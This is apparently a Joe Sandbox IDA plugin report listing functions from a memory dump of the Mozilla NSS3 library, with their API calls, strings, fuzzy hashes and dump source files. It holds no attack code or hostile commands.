Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 37c6381ae8708e7cb323ac4a5a16bf13048a3009c05041e86a00b22cbc782f91
Instruction ID: f8aad60d045b170a26680bca78966a0f35523b59a7a0d5828acb1dfd3b00298d
Opcode Fuzzy Hash: 37c6381ae8708e7cb323ac4a5a16bf13048a3009c05041e86a00b22cbc782f91
Instruction Fuzzy Hash: 6501D2B1F012215FDE24AFA49D0EB4A37B8A71674CF040029EA0EE3A40DB71E19D8792

Function 6CA91C40 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,6C993D77,?,?,6C994E1D), ref: 6CA91C8A
sqlite3_free.NSS3(00000000), ref: 6CA91CB6

Strings

a generated column, xrefs: 6CA91C6C
a CHECK constraint, xrefs: 6CA91C76, 6CA91C81
an index, xrefs: 6CA91C67
non-deterministic use of %s() in %s, xrefs: 6CA91C85

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s
API String ID: 1840970956-3705377941
Opcode ID: 58c8c611d4196be330a8c8866dd25cf4e9b96782b0c15744f99efe3112047e08
Instruction ID: a51090ea5d82e99ae33a4492aa0ea17fe86c1aa1c3f10978c36b354420e4d786
Opcode Fuzzy Hash: 58c8c611d4196be330a8c8866dd25cf4e9b96782b0c15744f99efe3112047e08
Instruction Fuzzy Hash: FF014CB5A001004BD704BF2CD40297173E5EF9634CB15486DED898BB12EB31E896C751

Function 6CABC9B0 Relevance: 10.5, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(00000000,6CA31AB6,00000000,?,?,6CA307B9,?), ref: 6CABC9C6
free.MOZGLUE(?,?,6CA307B9,?), ref: 6CABC9D3
DeleteCriticalSection.KERNEL32(00000000,00000001), ref: 6CABC9E5
free.MOZGLUE(?), ref: 6CABC9EC
DeleteCriticalSection.KERNEL32(00000080), ref: 6CABC9F8
free.MOZGLUE(?), ref: 6CABC9FF
free.MOZGLUE(00000000), ref: 6CABCA0B

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 666f2d3c0ef731f7fb4d0a7982d9e8d976099aef43442c8d000915ffcf360969
Instruction ID: 6ea7f2c1e85f9bc5ff3fc3f9a0aa10819146e9e5a33ce95c58821b331ad938d0
Opcode Fuzzy Hash: 666f2d3c0ef731f7fb4d0a7982d9e8d976099aef43442c8d000915ffcf360969
Instruction Fuzzy Hash: 1A01A2B260060AABDB10EFB5DC48857B7FCFE492647044525E916C3A00D739F56BCBE1

Function 6CA42E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA43046

Part of subcall function 6CA2EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA2EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CA17FFB), ref: 6CA4312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA43154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CA42E8B

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

Part of subcall function 6CA2F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CA19BFF,?,00000000,00000000), ref: 6CA2F134

memcpy.VCRUNTIME140(8B3C75C0,?,6CA17FFA), ref: 6CA42EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA4317B

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: d91cf7d5cb69b381448914b0d82eeb06dc82b01a39470277eee744d616df8c1e
Instruction ID: c5d7607d47cf4ab528a5ea93fe14c46927ff4680a1a1f8353650853a6cfa6525
Opcode Fuzzy Hash: d91cf7d5cb69b381448914b0d82eeb06dc82b01a39470277eee744d616df8c1e
Instruction Fuzzy Hash: 2FA1BF75A002289FDB24CF54CC80BEAB7B5EF49308F048199ED49A7741E771AD99CFA1

Function 6CA0ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CA0ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CA0EDCE

Part of subcall function 6CA00BE0: malloc.MOZGLUE(6C9F8D2D,?,00000000,?), ref: 6CA00BF8
Part of subcall function 6CA00BE0: TlsGetValue.KERNEL32(6C9F8D2D,?,00000000,?), ref: 6CA00C15

free.MOZGLUE(00000000,?,?,?,?,6CA0B04F), ref: 6CA0EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CA0EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CA0EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CA0EEFB

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: fb0c2ad138ba77ea10a4743a0e2532a4b623abdb27d5affb0df4e36d1a92875c
Instruction ID: 65e0318c6fc4b2c789195328135712efa3e1cd9dbdf38091d7739a5d72fa1448
Opcode Fuzzy Hash: fb0c2ad138ba77ea10a4743a0e2532a4b623abdb27d5affb0df4e36d1a92875c
Instruction Fuzzy Hash: 2A817BB1B002099FEB14CF55E880AAB77F5AF8838CF18442CE95597751D730E898DBA1

Function 6CA0CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA0C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CA0DAE2,?), ref: 6CA0C6C2

PR_Now.NSS3 ref: 6CA0CD35

Part of subcall function 6CA69DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CAB0A27), ref: 6CA69DC6
Part of subcall function 6CA69DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CAB0A27), ref: 6CA69DD1
Part of subcall function 6CA69DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA69DED

Part of subcall function 6C9F6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C9A1C6F,00000000,00000004,?,?), ref: 6C9F6C3F

PR_GetCurrentThread.NSS3 ref: 6CA0CD54

Part of subcall function 6CA69BF0: TlsGetValue.KERNEL32(?,?,?,6CAB0A75), ref: 6CA69C07

Part of subcall function 6C9F7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C9A1CCC,00000000,00000000,?,?), ref: 6C9F729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA0CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CA0CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CA0CE2C

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CA0CE40

Part of subcall function 6CA014C0: TlsGetValue.KERNEL32 ref: 6CA014E0
Part of subcall function 6CA014C0: EnterCriticalSection.KERNEL32 ref: 6CA014F5
Part of subcall function 6CA014C0: PR_Unlock.NSS3 ref: 6CA0150D

Part of subcall function 6CA0CEE0: PORT_ArenaMark_Util.NSS3(?,6CA0CD93,?), ref: 6CA0CEEE
Part of subcall function 6CA0CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CA0CD93,?), ref: 6CA0CEFC
Part of subcall function 6CA0CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CA0CD93,?), ref: 6CA0CF0B
Part of subcall function 6CA0CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CA0CD93,?), ref: 6CA0CF1D

Part of subcall function 6CA0CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CA0CD93,?), ref: 6CA0CF47
Part of subcall function 6CA0CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CA0CD93,?), ref: 6CA0CF67
Part of subcall function 6CA0CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CA0CD93,?,?,?,?,?,?,?,?,?,?,?,6CA0CD93,?), ref: 6CA0CF78

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 3ab751615e3832ce627a46369669d2316887db640c092a13863a656f82704c4d
Instruction ID: 10177105ebae43516edd4889cf55b6b07db010241769dba9b4ca8505c8903c85
Opcode Fuzzy Hash: 3ab751615e3832ce627a46369669d2316887db640c092a13863a656f82704c4d
Instruction Fuzzy Hash: E351B5B6B001009BE710DF69ED40BEA77F4EF4838CF290524D95597B51EB31E989CBA2

Function 6C923850 Relevance: 9.1, APIs: 6, Instructions: 133threadstringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(?,00000025), ref: 6C923890
TlsGetValue.KERNEL32 ref: 6C9238D2
PR_CallOnce.NSS3(6CB014E4,6CA6CC70), ref: 6C92391C
PR_GetCurrentThread.NSS3 ref: 6C923977
memcpy.VCRUNTIME140(?,?,?), ref: 6C9239A2
PR_GetCurrentThread.NSS3 ref: 6C9239F2

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CurrentThread$CallOnceValuememcpystrchr
String ID:
API String ID: 892352074-0
Opcode ID: e491ed14b7ed86ef4ce10392de08fa8d87f38e053d48e738f0a81a484fd5d872
Instruction ID: dd4f3ea864895022b2998c880e2000a595833aa47112e73c2654e802ddeae466
Opcode Fuzzy Hash: e491ed14b7ed86ef4ce10392de08fa8d87f38e053d48e738f0a81a484fd5d872
Instruction Fuzzy Hash: 53411071A243018BD7109F39C94476A77FCFF5A318F04865DE8D99BA65E734D888CB81

Function 6CA1FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6CA1FFE5

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

PR_EnterMonitor.NSS3(?), ref: 6CA20004
PR_EnterMonitor.NSS3(?), ref: 6CA2001B

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 28af3a5147d8b63a3bfcc417519a1bc56e23045693eec8e12e80a43961502c2c
Instruction ID: 61d2cd83071a114c9653503d157b0b0485b81700377ca9bd6e9a24d98ebe8f5d
Opcode Fuzzy Hash: 28af3a5147d8b63a3bfcc417519a1bc56e23045693eec8e12e80a43961502c2c
Instruction Fuzzy Hash: BC414B756486A08BE7204A29DCB17EB73A1DB41308F1C053DD55BCAEA0E7BDE5C9C742

Function 6C9DEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C9DEF38

Part of subcall function 6C9C9520: PK11_IsLoggedIn.NSS3(00000000,?,6C9F379E,?,00000001,?), ref: 6C9C9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C9DEF53

Part of subcall function 6C9E4C20: TlsGetValue.KERNEL32 ref: 6C9E4C4C
Part of subcall function 6C9E4C20: EnterCriticalSection.KERNEL32(?), ref: 6C9E4C60
Part of subcall function 6C9E4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E4CA1
Part of subcall function 6C9E4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C9E4CBE
Part of subcall function 6C9E4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E4CD2
Part of subcall function 6C9E4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E4D3A

PR_GetCurrentThread.NSS3 ref: 6C9DEF9E

Part of subcall function 6CA69BF0: TlsGetValue.KERNEL32(?,?,?,6CAB0A75), ref: 6CA69C07

free.MOZGLUE(00000000), ref: 6C9DEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C9DF016
free.MOZGLUE(00000000), ref: 6C9DF022

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 5abacff57a86b1dbd5ef2f27bbf976e32111f8a6a2cbbf8628158f01d359543d
Instruction ID: 13275a5223e35162d189c5b0aee37e4ddd4508dd732017743f2e31c8a5beb861
Opcode Fuzzy Hash: 5abacff57a86b1dbd5ef2f27bbf976e32111f8a6a2cbbf8628158f01d359543d
Instruction Fuzzy Hash: C041B271E0020AABDF018FA9DC45BEE7BB9AF58348F058025F914B7350E771D9158BA1

Function 6C9B4860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B4894

Part of subcall function 6C9FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAD18D0,?), ref: 6C9FB095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B48CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B48DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6C9B48FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C9B4912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9B494A

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: f89393c5d7412bbe3fe6c1d96391b0278487373a69a63e733ae27b0266cd51d3
Instruction ID: ea8ccaeefb36a4566cee88fff6394c05dd7f0bee967e25a779ac5d4c46f09414
Opcode Fuzzy Hash: f89393c5d7412bbe3fe6c1d96391b0278487373a69a63e733ae27b0266cd51d3
Instruction Fuzzy Hash: 1F41A271604305ABE704CE69DC80BAB73E8AF94718F14052CEA59A7741F770E909DB92

Function 6CABB9B0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 6CA69890: TlsGetValue.KERNEL32(?,?,?,6CA697EB), ref: 6CA6989E

PR_Abort.NSS3 ref: 6CABBA2E

Part of subcall function 6CAB0EB0: PR_LogPrint.NSS3(Aborting,?,6C992357), ref: 6CAB0EB8
Part of subcall function 6CAB0EB0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C992357), ref: 6CAB0EC0
Part of subcall function 6CAB0EB0: PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CAB0EE6
Part of subcall function 6CAB0EB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CAB0EFA
Part of subcall function 6CAB0EB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F16
Part of subcall function 6CAB0EB0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F1C
Part of subcall function 6CAB0EB0: DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F25
Part of subcall function 6CAB0EB0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F2B

EnterCriticalSection.KERNEL32(?), ref: 6CABB9CE

Part of subcall function 6CAB5820: SuspendThread.KERNEL32(?,?,6CABBA59,6CB00478), ref: 6CAB582C

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Print__acrt_iob_funcabort$AbortBreakCriticalDebugEnterSectionSuspendThreadValuefflush
String ID:
API String ID: 3718378345-0
Opcode ID: 169a3d0a8f4a3887ae050a85e95410ccc256313fd4e3fee8df57040fc5edf31d
Instruction ID: 5f4a174cdd8d17afed7e829ee33106f92d88417af289eeef057de05a0b07da0a
Opcode Fuzzy Hash: 169a3d0a8f4a3887ae050a85e95410ccc256313fd4e3fee8df57040fc5edf31d
Instruction Fuzzy Hash: 5F41F7B2A0438A8BC7009F69F6C4749B7AEBB0232CF590358D40577E81D731A8DDC792

Function 6C9CCF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C9CCF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C9CD002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C9CD016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9CD025
PR_NewLock.NSS3 ref: 6C9CD043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C9CD074

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 2ddec3941a9c8c1313ba43d28271a9e4c6754acda285d4480cce2e20beee7ce3
Instruction ID: 6e3f976b94fd050a49759df422f031927884a53d8c5e93f680ea8c164a3dbb2b
Opcode Fuzzy Hash: 2ddec3941a9c8c1313ba43d28271a9e4c6754acda285d4480cce2e20beee7ce3
Instruction Fuzzy Hash: 384180B1B41211CFDB10DF29C98479A7BE8AF08318F11416ADC199BB46D774D499CBA3

Function 6C9FF9A0 Relevance: 9.1, APIs: 6, Instructions: 109memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,-00000002,?,-00000002,?,6C99F379,?,00000000,-00000002), ref: 6C9FF9B7

Part of subcall function 6CA014C0: TlsGetValue.KERNEL32 ref: 6CA014E0
Part of subcall function 6CA014C0: EnterCriticalSection.KERNEL32 ref: 6CA014F5
Part of subcall function 6CA014C0: PR_Unlock.NSS3 ref: 6CA0150D

PORT_ZAlloc_Util.NSS3(0000000C,00000000,-00000002,?,-00000002,?,6C99F379,?,00000000,-00000002), ref: 6C9FF9E1
PORT_Alloc_Util.NSS3(?,00000000,-00000002,?,-00000002,?,6C99F379,?,00000000,-00000002), ref: 6C9FFA01
free.MOZGLUE(?), ref: 6C9FFA1F
